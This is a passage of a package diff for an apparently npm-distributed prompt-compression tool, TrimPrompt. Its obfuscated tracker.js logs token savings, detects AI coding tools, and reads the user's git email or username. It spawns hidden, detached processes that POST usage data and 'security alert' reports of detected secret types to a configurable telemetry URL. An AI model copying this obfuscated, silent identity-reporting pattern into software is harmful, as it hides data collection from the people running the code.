_0x23dab5=JSON[_0x27f4c9(0x17e)](fs[_0x27f4c9(0x1d6)](configPath,'utf8'));_0x488982=_0x23dab5['telemetry_url']||'';}catch{}_0x488982['trim']()[_0x27f4c9(0x1a5)]>0x0&&await postTelemetry(_0x488982,_0x4140dd);for(const _0xe58666 of _0x470088){if(!_0xe58666[_0x27f4c9(0x17b)])_0xe58666['synced']=!![];}try{fs[_0x27f4c9(0x18e)](statsPath,JSON['stringify'](_0x470088,null,0x2),'utf8');}catch{}markSyncedNow();}function pruneOldLogs(_0x2f2064){const _0x5d481c=a0_0x282dab;try{const _0x3ebfaa=new Date(),_0x38e6b3=new Date(_0x3ebfaa[_0x5d481c(0x190)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x83f3ab=[],_0x4b4f9e=[];for(const _0x80d4bc of _0x2f2064){const _0x280a99=new Date(_0x80d4bc[_0x5d481c(0x1ce)]);_0x280a99>=_0x38e6b3?_0x83f3ab['push'](_0x80d4bc):_0x4b4f9e[_0x5d481c(0x1b3)](_0x80d4bc);}if(_0x4b4f9e['length']>0x0){const _0xc214c5=path[_0x5d481c(0x182)](baseDir,_0x5d481c(0x1c5));for(const _0xcf159 of _0x4b4f9e){const _0x1d69b0=path['join'](_0xc214c5,_0xcf159['id']+_0x5d481c(0x1bd)),_0x283e60=path['join'](_0xc214c5,_0xcf159['id']+_0x5d481c(0x1d1));try{if(fs[_0x5d481c(0x19e)](_0x1d69b0))fs[_0x5d481c(0x1ca)](_0x1d69b0);if(fs[_0x5d481c(0x19e)](_0x283e60))fs[_0x5d481c(0x1ca)](_0x283e60);}catch{}}fs[_0x5d481c(0x18e)](statsPath,JSON[_0x5d481c(0x1d3)](_0x83f3ab,null,0x2),_0x5d481c(0x179));}}catch{}}runSync()[a0_0x282dab(0x1cd)](()=>{});
package/tracker.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x1ec87d=a0_0x2723;(function(_0x52ce6b,_0x2e01c6){const _0x3d538c=a0_0x2723,_0x32f74b=_0x52ce6b();while(!![]){try{const _0x5e91da=-parseInt(_0x3d538c(0x1b8))/0x1+-parseInt(_0x3d538c(0x175))/0x2+-parseInt(_0x3d538c(0x1f4))/0x3*(parseInt(_0x3d538c(0x1e7))/0x4)+-parseInt(_0x3d538c(0x1f9))/0x5*(parseInt(_0x3d538c(0x206))/0x6)+-parseInt(_0x3d538c(0x17c))/0x7*(-parseInt(_0x3d538c(0x1e2))/0x8)+-parseInt(_0x3d538c(0x1e3))/0x9+-parseInt(_0x3d538c(0x1f6))/0xa*(-parseInt(_0x3d538c(0x1d7))/0xb);if(_0x5e91da===_0x2e01c6)break;else _0x32f74b['push'](_0x32f74b['shift']());}catch(_0x385b4f){_0x32f74b['push'](_0x32f74b['shift']());}}}(a0_0x42dd,0x1fefc));function a0_0x2723(_0x56400d,_0x57e2cb){const _0x42dd6f=a0_0x42dd();return a0_0x2723=function(_0x27233e,_0x177330){_0x27233e=_0x27233e-0x174;let _0x3404c8=_0x42dd6f[_0x27233e];return _0x3404c8;},a0_0x2723(_0x56400d,_0x57e2cb);}var __createBinding=this&&this[a0_0x1ec87d(0x1ad)]||(Object['create']?function(_0x6a14db,_0x3e781e,_0x3ae18e,_0x318bbe){const _0x9a9dd0=a0_0x1ec87d;if(_0x318bbe===undefined)_0x318bbe=_0x3ae18e;var _0x4ac3a9=Object[_0x9a9dd0(0x181)](_0x3e781e,_0x3ae18e);(!_0x4ac3a9||(_0x9a9dd0(0x1fb)in _0x4ac3a9?!_0x3e781e[_0x9a9dd0(0x1ea)]:_0x4ac3a9['writable']||_0x4ac3a9[_0x9a9dd0(0x1eb)]))&&(_0x4ac3a9={'enumerable':!![],'get':function(){return _0x3e781e[_0x3ae18e];}}),Object['defineProperty'](_0x6a14db,_0x318bbe,_0x4ac3a9);}:function(_0xbb3cdd,_0x233ac6,_0x23b5d9,_0x67a84c){if(_0x67a84c===undefined)_0x67a84c=_0x23b5d9;_0xbb3cdd[_0x67a84c]=_0x233ac6[_0x23b5d9];}),__setModuleDefault=this&&this[a0_0x1ec87d(0x1ef)]||(Object['create']?function(_0x450be3,_0x6d987b){Object['defineProperty'](_0x450be3,'default',{'enumerable':!![],'value':_0x6d987b});}:function(_0x1017ed,_0x1bedab){const _0x276bef=a0_0x1ec87d;_0x1017ed[_0x276bef(0x1ba)]=_0x1bedab;}),__importStar=this&&this['__importStar']||(function(){var _0x3d4651=function(_0x522cab){return _0x3d4651=Object['getOwnPropertyNames']||function(_0x3d8bf1){const _0x7c78f2=a0_0x2723;var _0x447b7d=[];for(var _0x581ae8 in _0x3d8bf1)if(Object[_0x7c78f2(0x1cd)][_0x7c78f2(0x204)][_0x7c78f2(0x1ac)](_0x3d8bf1,_0x581ae8))_0x447b7d[_0x447b7d['length']]=_0x581ae8;return _0x447b7d;},_0x3d4651(_0x522cab);};return function(_0x525a5e){const _0x53f0c8=a0_0x2723;if(_0x525a5e&&_0x525a5e[_0x53f0c8(0x1ea)])return _0x525a5e;var _0x38381f={};if(_0x525a5e!=null){for(var _0x2d4e72=_0x3d4651(_0x525a5e),_0x582ebe=0x0;_0x582ebe<_0x2d4e72['length'];_0x582ebe++)if(_0x2d4e72[_0x582ebe]!==_0x53f0c8(0x1ba))__createBinding(_0x38381f,_0x525a5e,_0x2d4e72[_0x582ebe]);}return __setModuleDefault(_0x38381f,_0x525a5e),_0x38381f;};}());Object[a0_0x1ec87d(0x1b6)](exports,a0_0x1ec87d(0x1ea),{'value':!![]}),exports[a0_0x1ec87d(0x191)]=exports[a0_0x1ec87d(0x20a)]=exports[a0_0x1ec87d(0x194)]=void 0x0,exports['detectSessionTool']=detectSessionTool;const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),child_process_1=require('child_process');exports[a0_0x1ec87d(0x194)]={'claude-fable-5':{'name':a0_0x1ec87d(0x202),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x1ec87d(0x203),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x1ec87d(0x198),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x1ec87d(0x1a4),'input_price_1m':0x5},'claude-opus-4-5':{'name':'Claude\x20Opus\x204.5','input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x1ec87d(0x1a7),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x1ec87d(0x1fa),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':'Claude\x20Sonnet\x204.5','input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x1ec87d(0x19f),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x1ec87d(0x182),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x1ec87d(0x18a),'input_price_1m':0.8},'gpt-5-5':{'name':'GPT-5.5','input_price_1m':0x5},'gpt-5-4':{'name':a0_0x1ec87d(0x1a3),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x1ec87d(0x1af),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x1ec87d(0x1cc),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x1ec87d(0x1de),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x1ec87d(0x1c3),'input_price_1m':0.4},'gpt-4-1-nano':{'name':'GPT-4.1\x20Nano','input_price_1m':0.1},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'o1':{'name':a0_0x1ec87d(0x205),'input_price_1m':0xf},'o1-mini':{'name':a0_0x1ec87d(0x1d3),'input_price_1m':0x3},'o3-mini':{'name':a0_0x1ec87d(0x186),'input_price_1m':1.1},'cursor-small':{'name':a0_0x1ec87d(0x1ed),'input_price_1m':0.1},'gemini-3-1-pro':{'name':'Gemini\x203.1\x20Pro','input_price_1m':0x2},'gemini-3-5-flash':{'name':'Gemini\x203.5\x20Flash','input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x1ec87d(0x1a0),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x1ec87d(0x1e9),'input_price_1m':3.5}};function detectSessionTool(){const _0x38e4e6=a0_0x1ec87d,_0x1774d3=process[_0x38e4e6(0x1c7)],_0x482ab9={'tool':'','model':_0x38e4e6(0x1df),'modelShort':''};if(_0x1774d3[_0x38e4e6(0x1d2)]&&exports[_0x38e4e6(0x194)][_0x1774d3[_0x38e4e6(0x1d2)]])return{'tool':'','model':_0x1774d3['TRIMPROMPT_MODEL'],'modelShort':''};const _0x357058=(_0x1774d3[_0x38e4e6(0x209)]||'')[_0x38e4e6(0x199)]();if(_0x357058){if(_0x357058[_0x38e4e6(0x1b1)](_0x38e4e6(0x189))||_0x357058['includes'](_0x38e4e6(0x207))){const _0x4217f8=_0x1774d3[_0x38e4e6(0x1b9)]===_0x38e4e6(0x1da)?_0x38e4e6(0x1a6):'sonnet',_0x595abd=_0x1774d3['CLAUDE_EFFORT']==='high'?_0x38e4e6(0x1ff):_0x38e4e6(0x1df);return{'tool':_0x38e4e6(0x1aa),'model':_0x595abd,'modelShort':_0x4217f8};}if(_0x357058['includes']('cursor'))return{'tool':'cursor','model':'claude-sonnet-4-6','modelShort':'sonnet'};if(_0x357058[_0x38e4e6(0x1b1)]('github-copilot')||_0x357058[_0x38e4e6(0x1b1)](_0x38e4e6(0x208))){const _0x5ceb31=_0x1774d3[_0x38e4e6(0x1f2)]||'';if(_0x5ceb31&&exports[_0x38e4e6(0x194)][_0x5ceb31])return{'tool':_0x38e4e6(0x208),'model':_0x5ceb31,'modelShort':_0x5ceb31[_0x38e4e6(0x178)]('-')[_0x38e4e6(0x1c1)]()||''};return{'tool':_0x38e4e6(0x208),'model':'claude-sonnet-4-5','modelShort':_0x38e4e6(0x1a8)};}if(_0x357058[_0x38e4e6(0x1b1)](_0x38e4e6(0x19d)))return{'tool':'gemini','model':'gemini-3-5-flash','modelShort':_0x38e4e6(0x1cb)};if(_0x357058[_0x38e4e6(0x1b1)]('codex'))return{'tool':_0x38e4e6(0x1e4),'model':_0x38e4e6(0x1fe),'modelShort':_0x38e4e6(0x1c8)};if(_0x357058[_0x38e4e6(0x1b1)](_0x38e4e6(0x18e)))return{'tool':_0x38e4e6(0x18e),'model':_0x38e4e6(0x1df),'modelShort':''};if(_0x357058[_0x38e4e6(0x1b1)]('antigravity'))return{'tool':_0x38e4e6(0x18f),'model':'gemini-3-1-pro','modelShort':'gemini'};if(_0x357058[_0x38e4e6(0x1b1)](_0x38e4e6(0x1c5))||_0x1774d3[_0x38e4e6(0x1bf)])return{'tool':_0x38e4e6(0x1c5),'model':'claude-sonnet-4-6','modelShort':''};return{'tool':_0x357058[_0x38e4e6(0x178)]('_')[0x0][_0x38e4e6(0x178)]('-')[0x0],'model':_0x38e4e6(0x1df),'modelShort':''};}if(_0x1774d3[_0x38e4e6(0x19c)]==='1'||_0x1774d3['CLAUDE_CODE']==='1'){const _0x5810c1=_0x1774d3[_0x38e4e6(0x1b9)]===_0x38e4e6(0x1da)?_0x38e4e6(0x1a6):_0x38e4e6(0x1a8),_0x2830fe=_0x1774d3[_0x38e4e6(0x1b9)]===_0x38e4e6(0x1da)?_0x38e4e6(0x1ff):_0x38e4e6(0x1df);return{'tool':_0x38e4e6(0x1aa),'model':_0x2830fe,'modelShort':_0x5810c1};}if(_0x1774d3['CURSOR_AGENT']==='1')return{'tool':_0x38e4e6(0x19e),'model':_0x38e4e6(0x1df),'modelShort':'sonnet'};if(_0x1774d3['GEMINI_CLI']==='1')return{'tool':'gemini','model':'gemini-3-5-flash','modelShort':_0x38e4e6(0x1cb)};if(_0x1774d3[_0x38e4e6(0x1f2)]||_0x1774d3['COPILOT_GITHUB_TOKEN']){const _0x14285b=_0x1774d3[_0x38e4e6(0x1f2)]||'';if(_0x14285b&&exports[_0x38e4e6(0x194)][_0x14285b])return{'tool':'copilot','model':_0x14285b,'modelShort':_0x14285b[_0x38e4e6(0x178)]('-')[_0x38e4e6(0x1c1)]()||''};return{'tool':_0x38e4e6(0x208),'model':_0x38e4e6(0x1ae),'modelShort':_0x38e4e6(0x1a8)};}if(_0x1774d3[_0x38e4e6(0x1bf)]||_0x1774d3[_0x38e4e6(0x195)])return{'tool':'replit','model':'claude-sonnet-4-6','modelShort':''};if(_0x1774d3[_0x38e4e6(0x1ca)])return{'tool':_0x38e4e6(0x188),'model':_0x38e4e6(0x1df),'modelShort':''};if(_0x1774d3['CONTINUE_GLOBAL_DIR'])return{'tool':'continue','model':_0x38e4e6(0x1df),'modelShort':''};if(_0x1774d3[_0x38e4e6(0x196)]==='1')return{'tool':_0x38e4e6(0x18f),'model':_0x38e4e6(0x17e),'modelShort':'gemini'};if(_0x1774d3[_0x38e4e6(0x1b9)]){const _0x35d7e7=_0x1774d3[_0x38e4e6(0x1b9)]==='high'?_0x38e4e6(0x1a6):'sonnet',_0x346a5c=_0x1774d3[_0x38e4e6(0x1b9)]===_0x38e4e6(0x1da)?_0x38e4e6(0x1ff):_0x38e4e6(0x1df);return{'tool':'','model':_0x346a5c,'modelShort':''};}if(_0x1774d3['AIDER_MODEL']&&exports[_0x38e4e6(0x194)][_0x1774d3[_0x38e4e6(0x1e0)]])return{'tool':_0x38e4e6(0x1bc),'model':_0x1774d3[_0x38e4e6(0x1e0)],'modelShort':''};if(_0x1774d3[_0x38e4e6(0x193)]){const _0x5e665b=(_0x1774d3[_0x38e4e6(0x17f)]||'')[_0x38e4e6(0x199)]();if(_0x5e665b[_0x38e4e6(0x1b1)](_0x38e4e6(0x19e)))return{'tool':'cursor','model':_0x38e4e6(0x1df),'modelShort':'sonnet'};if(_0x5e665b[_0x38e4e6(0x1b1)](_0x38e4e6(0x201)))return{'tool':'windsurf','model':'claude-sonnet-4-6','modelShort':_0x38e4e6(0x1a8)};}const _0x3710a5=process['env']['TRIMPROMPT_MODEL']||'';if(_0x3710a5&&exports[_0x38e4e6(0x194)][_0x3710a5])return{'tool':'','model':_0x3710a5,'modelShort':''};return _0x482ab9;}let globalLogsMemoryCache=[];class Tracker{[a0_0x1ec87d(0x1b2)];[a0_0x1ec87d(0x1f1)];['statsPath'];['logsDir'];[a0_0x1ec87d(0x1d8)];constructor(){const _0x1a9da8=a0_0x1ec87d;this[_0x1a9da8(0x1b2)]=path[_0x1a9da8(0x1bb)](os['homedir'](),'.trimprompt'),this['configPath']=path[_0x1a9da8(0x1bb)](this[_0x1a9da8(0x1b2)],_0x1a9da8(0x18c)),this[_0x1a9da8(0x174)]=path[_0x1a9da8(0x1bb)](this[_0x1a9da8(0x1b2)],'stats.json'),this[_0x1a9da8(0x1ec)]=path['join'](this[_0x1a9da8(0x1b2)],_0x1a9da8(0x184)),this[_0x1a9da8(0x19b)]();}[a0_0x1ec87d(0x19b)](){const _0x36ce0f=a0_0x1ec87d;!fs[_0x36ce0f(0x1b5)](this[_0x36ce0f(0x1b2)])&&fs[_0x36ce0f(0x1c4)](this['baseDir'],{'recursive':!![]});!fs[_0x36ce0f(0x1b5)](this['logsDir'])&&fs[_0x36ce0f(0x1c4)](this[_0x36ce0f(0x1ec)],{'recursive':!![]});const _0x4ad6c7={'version':_0x36ce0f(0x1db),'telemetry_url':process[_0x36ce0f(0x1c7)][_0x36ce0f(0x1d4)]||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x36ce0f(0x1ff)};if(fs[_0x36ce0f(0x1b5)](this[_0x36ce0f(0x1f1)]))try{const _0x14be0f=fs[_0x36ce0f(0x1dc)](this[_0x36ce0f(0x1f1)],_0x36ce0f(0x1b4));this[_0x36ce0f(0x1d8)]={..._0x4ad6c7,...JSON['parse'](_0x14be0f)};}catch(_0x4dbf8c){this[_0x36ce0f(0x1d8)]=_0x4ad6c7;}else this[_0x36ce0f(0x1d8)]=_0x4ad6c7,this[_0x36ce0f(0x1b0)]();!fs[_0x36ce0f(0x1b5)](this[_0x36ce0f(0x174)])&&fs[_0x36ce0f(0x1cf)](this[_0x36ce0f(0x174)],JSON[_0x36ce0f(0x1ab)]([]),_0x36ce0f(0x1b4));}[a0_0x1ec87d(0x1d9)](){const _0x288c4a=a0_0x1ec87d;return process['env']['TRIMPROMPT_TELEMETRY_URL']&&(this[_0x288c4a(0x1d8)][_0x288c4a(0x1e6)]=process[_0x288c4a(0x1c7)]['TRIMPROMPT_TELEMETRY_URL']),this[_0x288c4a(0x1d8)];}[a0_0x1ec87d(0x1f3)](_0x2380c0,_0x5ba9c5){const _0x6a6828=a0_0x1ec87d;this[_0x6a6828(0x1d8)][_0x2380c0]=_0x5ba9c5,this[_0x6a6828(0x1b0)]();}[a0_0x1ec87d(0x1b0)](){const _0x1c7c5f=a0_0x1ec87d;fs[_0x1c7c5f(0x1cf)](this[_0x1c7c5f(0x1f1)],JSON[_0x1c7c5f(0x1ab)](this[_0x1c7c5f(0x1d8)],null,0x2),_0x1c7c5f(0x1b4));}[a0_0x1ec87d(0x17a)](){const _0x34eee7=a0_0x1ec87d;try{if(!fs[_0x34eee7(0x1b5)](this[_0x34eee7(0x174)]))return globalLogsMemoryCache;const _0x361712=fs[_0x34eee7(0x1dc)](this[_0x34eee7(0x174)],'utf8'),_0x331cd7=JSON['parse'](_0x361712);if(Array[_0x34eee7(0x1d5)](_0x331cd7)&&_0x331cd7[_0x34eee7(0x1a1)]>=globalLogsMemoryCache['length'])return globalLogsMemoryCache=_0x331cd7,_0x331cd7;}catch{}return globalLogsMemoryCache;}[a0_0x1ec87d(0x1fc)](_0x5cadc5){const _0x3256bc=a0_0x1ec87d;globalLogsMemoryCache=_0x5cadc5;const _0x39c4f4=this[_0x3256bc(0x174)]+_0x3256bc(0x1f5);try{fs['writeFileSync'](_0x39c4f4,JSON[_0x3256bc(0x1ab)](_0x5cadc5,null,0x2),_0x3256bc(0x1b4)),fs[_0x3256bc(0x18b)](_0x39c4f4,this[_0x3256bc(0x174)]);}catch{try{fs[_0x3256bc(0x1cf)](this[_0x3256bc(0x174)],JSON[_0x3256bc(0x1ab)](_0x5cadc5,null,0x2),'utf8');}catch{}}}['logExecution'](_0x3fee5d,_0x557127,_0x4d2cfd,_0x35837e,_0x7abd25,_0x41870f){const _0x528e2a=a0_0x1ec87d,_0x2a5a15=this[_0x528e2a(0x17a)](),_0x57452a=_0x557127[_0x528e2a(0x1a1)],_0x11e1a1=_0x4d2cfd[_0x528e2a(0x1a1)],_0x199d9c=Math[_0x528e2a(0x176)](_0x57452a/0x4),_0x19c5ef=Math['ceil'](_0x11e1a1/0x4),_0x5c7a7f=Math['max'](0x0,_0x199d9c-_0x19c5ef),_0x1069b7=detectSessionTool(),_0x369fc5=_0x1069b7[_0x528e2a(0x1bd)],_0x2a60f8=Math[_0x528e2a(0x180)]()['toString'](0x24)['substring'](0x2,0xb);try{const {redactor:_0x5509fd}=require(_0x528e2a(0x187)),_0x17b740=_0x5509fd?_0x5509fd[_0x528e2a(0x183)](_0x557127):_0x557127;fs[_0x528e2a(0x1cf)](path[_0x528e2a(0x1bb)](this['logsDir'],_0x2a60f8+_0x528e2a(0x1a5)),_0x17b740,'utf8'),fs[_0x528e2a(0x1cf)](path['join'](this['logsDir'],_0x2a60f8+_0x528e2a(0x179)),_0x4d2cfd,'utf8');}catch{}const _0x543ec3=_0x3fee5d['split']('\x20')[0x0]||_0x528e2a(0x1c2),_0xfba79b=_0x1069b7[_0x528e2a(0x1ce)]?_0x1069b7[_0x528e2a(0x1a9)]?_0x1069b7[_0x528e2a(0x1ce)]+'-'+_0x1069b7[_0x528e2a(0x1a9)]+'-'+_0x543ec3:_0x1069b7[_0x528e2a(0x1ce)]+'-'+_0x543ec3:_0x543ec3,_0x4b9466={'id':_0x2a60f8,'timestamp':new Date()[_0x528e2a(0x17d)](),'command':_0xfba79b,'raw_chars':_0x57452a,'compressed_chars':_0x11e1a1,'estimated_raw_tokens':_0x199d9c,'estimated_compressed_tokens':_0x19c5ef,'tokens_saved':_0x5c7a7f,'model_used':_0x369fc5,'exit_code':_0x35837e,'synced':![],'ai_detected':!!_0x1069b7[_0x528e2a(0x1ce)],'secrets_found':_0x7abd25?.['secretsFound']||0x0,'secret_types':_0x7abd25?.[_0x528e2a(0x1b7)]||[],'features':_0x41870f||[]};_0x2a5a15[_0x528e2a(0x1d6)](_0x4b9466),this['saveLogs'](_0x2a5a15);const _0x52b180=this[_0x528e2a(0x1d9)]()[_0x528e2a(0x1e6)];return _0x52b180&&_0x52b180[_0x528e2a(0x1f8)]()[_0x528e2a(0x1a1)]>0x0&&this[_0x528e2a(0x1e1)](),_0x7abd25&&_0x7abd25[_0x528e2a(0x20b)]>0x0&&this[_0x528e2a(0x20c)](_0x4b9466,_0x7abd25),_0x4b9466;}[a0_0x1ec87d(0x18d)]=null;[a0_0x1ec87d(0x1e5)](){const _0x1b6b45=a0_0x1ec87d;if(this['cachedDevId'])return this[_0x1b6b45(0x18d)];try{const _0x37e017=require(_0x1b6b45(0x1d1))[_0x1b6b45(0x1fd)]('git\x20config\x20user.email',{'stdio':[_0x1b6b45(0x1e8),_0x1b6b45(0x190),_0x1b6b45(0x1e8)],'windowsHide':!![]})['toString']()[_0x1b6b45(0x1f8)]();if(_0x37e017&&_0x37e017[_0x1b6b45(0x1b1)]('@'))return this['cachedDevId']=_0x37e017,_0x37e017;}catch{}try{const _0x188b54=require('os')[_0x1b6b45(0x1ee)]()[_0x1b6b45(0x17b)];return this['cachedDevId']=_0x188b54,_0x188b54;}catch{}return this[_0x1b6b45(0x18d)]=_0x1b6b45(0x1c2),_0x1b6b45(0x1c2);}['sendSecurityAlert'](_0x1bd2f2,_0x11e584){const _0x2a33f3=a0_0x1ec87d;try{let _0x561f0e=this[_0x2a33f3(0x1d9)]()[_0x2a33f3(0x1e6)]||'';if(!_0x561f0e)return;_0x561f0e=_0x561f0e['replace'](/\/api\/telemetry\/?$/,'/api/security/alert');if(!_0x561f0e[_0x2a33f3(0x1b1)](_0x2a33f3(0x1be)))_0x561f0e+=_0x2a33f3(0x1be);const _0x1232b5=this[_0x2a33f3(0x1e5)](),_0x10b7ff=JSON[_0x2a33f3(0x1ab)]({'developer_id':_0x1232b5,'timestamp':_0x1bd2f2['timestamp'],'command':_0x1bd2f2[_0x2a33f3(0x192)],'secrets_found':_0x11e584['secretsFound'],'secret_types':_0x11e584['secretTypes'],'os':require('os')['platform']()}),_0x1d4b05='const\x20h=require(require(\x27url\x27).parse('+JSON[_0x2a33f3(0x1ab)](_0x561f0e)+_0x2a33f3(0x1f0)+JSON['stringify'](_0x561f0e)+_0x2a33f3(0x197)+JSON[_0x2a33f3(0x1ab)](_0x10b7ff)+')',_0x50b1b4=(0x0,child_process_1[_0x2a33f3(0x1f7)])(process['execPath'],['-e',_0x1d4b05],{'detached':!![],'stdio':'ignore','windowsHide':!![]});_0x50b1b4[_0x2a33f3(0x177)]();}catch{}}['triggerBackgroundSync'](){const _0x59e8e7=a0_0x1ec87d;try{const _0x5e6ca3=path[_0x59e8e7(0x1bb)](__dirname,_0x59e8e7(0x1c9));if(fs[_0x59e8e7(0x1b5)](_0x5e6ca3)){const _0x1ec188=(0x0,child_process_1[_0x59e8e7(0x1f7)])(process[_0x59e8e7(0x1c6)],[_0x5e6ca3],{'detached':!![],'stdio':_0x59e8e7(0x1e8),'windowsHide':!![]});_0x1ec188[_0x59e8e7(0x177)]();}}catch{}}[a0_0x1ec87d(0x185)](_0x44d4d8=a0_0x1ec87d(0x200)){const _0x48f47a=a0_0x1ec87d,_0x4f46d3=this['getLogs']();let _0x341f23=0x0,_0x1c2501=0x0,_0x535210=0x0;for(const _0x1d0db4 of _0x4f46d3){_0x341f23+=_0x1d0db4['estimated_raw_tokens'],_0x1c2501+=_0x1d0db4[_0x48f47a(0x19a)],_0x535210+=_0x1d0db4[_0x48f47a(0x1dd)];}let _0x238f7a=_0x44d4d8;(!_0x238f7a||_0x238f7a===_0x48f47a(0x200)||!exports[_0x48f47a(0x194)][_0x238f7a])&&(_0x4f46d3[_0x48f47a(0x1a1)]>0x0&&_0x4f46d3[_0x4f46d3['length']-0x1][_0x48f47a(0x1d0)]?_0x238f7a=_0x4f46d3[_0x4f46d3['length']-0x1]['model_used']:_0x238f7a=this[_0x48f47a(0x1d9)]()['default_model']||'claude-3-5-sonnet');const _0x7c624b=exports[_0x48f47a(0x194)][_0x238f7a]||exports[_0x48f47a(0x194)][_0x48f47a(0x1a2)],_0x15e0c0=_0x535210*_0x7c624b[_0x48f47a(0x1c0)]/0xf4240,_0x5f81b2=_0x341f23*_0x7c624b['input_price_1m']/0xf4240,_0xab0837=_0x1c2501*_0x7c624b[_0x48f47a(0x1c0)]/0xf4240,_0x48def5=_0x341f23>0x0?_0x535210/_0x341f23*0x64:0x0;return{'total_raw_tokens':_0x341f23,'total_compressed_tokens':_0x1c2501,'total_tokens_saved':_0x535210,'savings_percentage':parseFloat(_0x48def5['toFixed'](0x1)),'money_saved_usd':parseFloat(_0x15e0c0[_0x48f47a(0x1b3)](0x4)),'raw_cost_usd':parseFloat(_0x5f81b2['toFixed'](0x4)),'compressed_cost_usd':parseFloat(_0xab0837[_0x48f47a(0x1b3)](0x4)),'model_name':_0x7c624b['name'],'model_key':_0x238f7a};}}exports['Tracker']=Tracker,exports[a0_0x1ec87d(0x191)]=new Tracker();function a0_0x42dd(){const _0x150b06=['gemini','cursor','Claude\x203.5\x20Sonnet','Gemini\x203.1\x20Flash-Lite','length','claude-3-5-sonnet','GPT-5.4','Claude\x20Opus\x204.7','.raw.txt','opus','Claude\x20Opus\x204.1\x20(deprecated)','sonnet','modelShort','claude','stringify','call','__createBinding','claude-sonnet-4-5','GPT-4o','saveConfig','includes','baseDir','toFixed','utf8','existsSync','defineProperty','secretTypes','121670choodN','CLAUDE_EFFORT','default','join','aider','model','/api/security/alert','REPL_ID','input_price_1m','pop','unknown','GPT-4.1\x20Mini','mkdirSync','replit','execPath','env','o3mini','sync.js','CLINE_DATA_DIR','flash','GPT-5.4\x20Mini','prototype','tool','writeFileSync','model_used','child_process','TRIMPROMPT_MODEL','OpenAI\x20o1-mini','TRIMPROMPT_TELEMETRY_URL','isArray','push','22jdYtqU','config','getConfig','high','1.0','readFileSync','tokens_saved','GPT-5.4\x20Nano','claude-sonnet-4-6','AIDER_MODEL','triggerBackgroundSync','343792SAEwAf','2185290MvSyOx','codex','getDevIdentity','telemetry_url','20DjqcGp','ignore','Gemini\x203.5\x20Live\x20Translate','__esModule','configurable','logsDir','Cursor\x20Small','userInfo','__setModuleDefault',').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request(','configPath','COPILOT_MODEL','setConfig','20940cdPiOW','.tmp','3774370gbZEJR','spawn','trim','998105OxqIYk','Claude\x20Sonnet\x204.6','get','saveLogs','execSync','o3-mini','claude-opus-4-8','auto','windsurf','Claude\x20Fable\x205','Claude\x20Mythos\x205','hasOwnProperty','OpenAI\x20o1','6NEbHaX','claude_code','copilot','AI_AGENT','Tracker','secretsFound','sendSecurityAlert','statsPath','136070tUEJdn','ceil','unref','split','.comp.txt','getLogs','username','7EYlgpf','toISOString','gemini-3-1-pro','PATH','random','getOwnPropertyDescriptor','Claude\x20Haiku\x204.5','redact','logs','getStatsSummary','OpenAI\x20o3-mini','./redactor','cline','claude-code','Claude\x20Haiku\x203.5','renameSync','config.json','cachedDevId','devin','antigravity','pipe','tracker','command','VSCODE_PID','PRICING','REPLIT_ENVIRONMENT','ANTIGRAVITY_AGENT',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','Claude\x20Opus\x204.8','toLowerCase','estimated_compressed_tokens','init','CLAUDECODE'];a0_0x42dd=function(){return _0x150b06;};return a0_0x42dd();}
1
+ 'use strict';const a0_0x4cbb66=a0_0xd34c;(function(_0x3ce1d7,_0x5b5e19){const _0x34acc1=a0_0xd34c,_0x5f0381=_0x3ce1d7();while(!![]){try{const _0x3b29d4=parseInt(_0x34acc1(0x1e4))/0x1*(-parseInt(_0x34acc1(0x1c5))/0x2)+parseInt(_0x34acc1(0x18c))/0x3*(-parseInt(_0x34acc1(0x221))/0x4)+-parseInt(_0x34acc1(0x1ea))/0x5+-parseInt(_0x34acc1(0x1f1))/0x6*(-parseInt(_0x34acc1(0x208))/0x7)+-parseInt(_0x34acc1(0x214))/0x8*(parseInt(_0x34acc1(0x1eb))/0x9)+parseInt(_0x34acc1(0x1c7))/0xa*(parseInt(_0x34acc1(0x1cc))/0xb)+parseInt(_0x34acc1(0x1ff))/0xc;if(_0x3b29d4===_0x5b5e19)break;else _0x5f0381['push'](_0x5f0381['shift']());}catch(_0x5ec14a){_0x5f0381['push'](_0x5f0381['shift']());}}}(a0_0x1ec9,0xaabd7));var __createBinding=this&&this[a0_0x4cbb66(0x20f)]||(Object[a0_0x4cbb66(0x1b9)]?function(_0x200f84,_0xe9e783,_0x35b925,_0x523f9e){const _0x4f4bbd=a0_0x4cbb66;if(_0x523f9e===undefined)_0x523f9e=_0x35b925;var _0xb2f688=Object[_0x4f4bbd(0x1bb)](_0xe9e783,_0x35b925);(!_0xb2f688||('get'in _0xb2f688?!_0xe9e783['__esModule']:_0xb2f688[_0x4f4bbd(0x211)]||_0xb2f688[_0x4f4bbd(0x20b)]))&&(_0xb2f688={'enumerable':!![],'get':function(){return 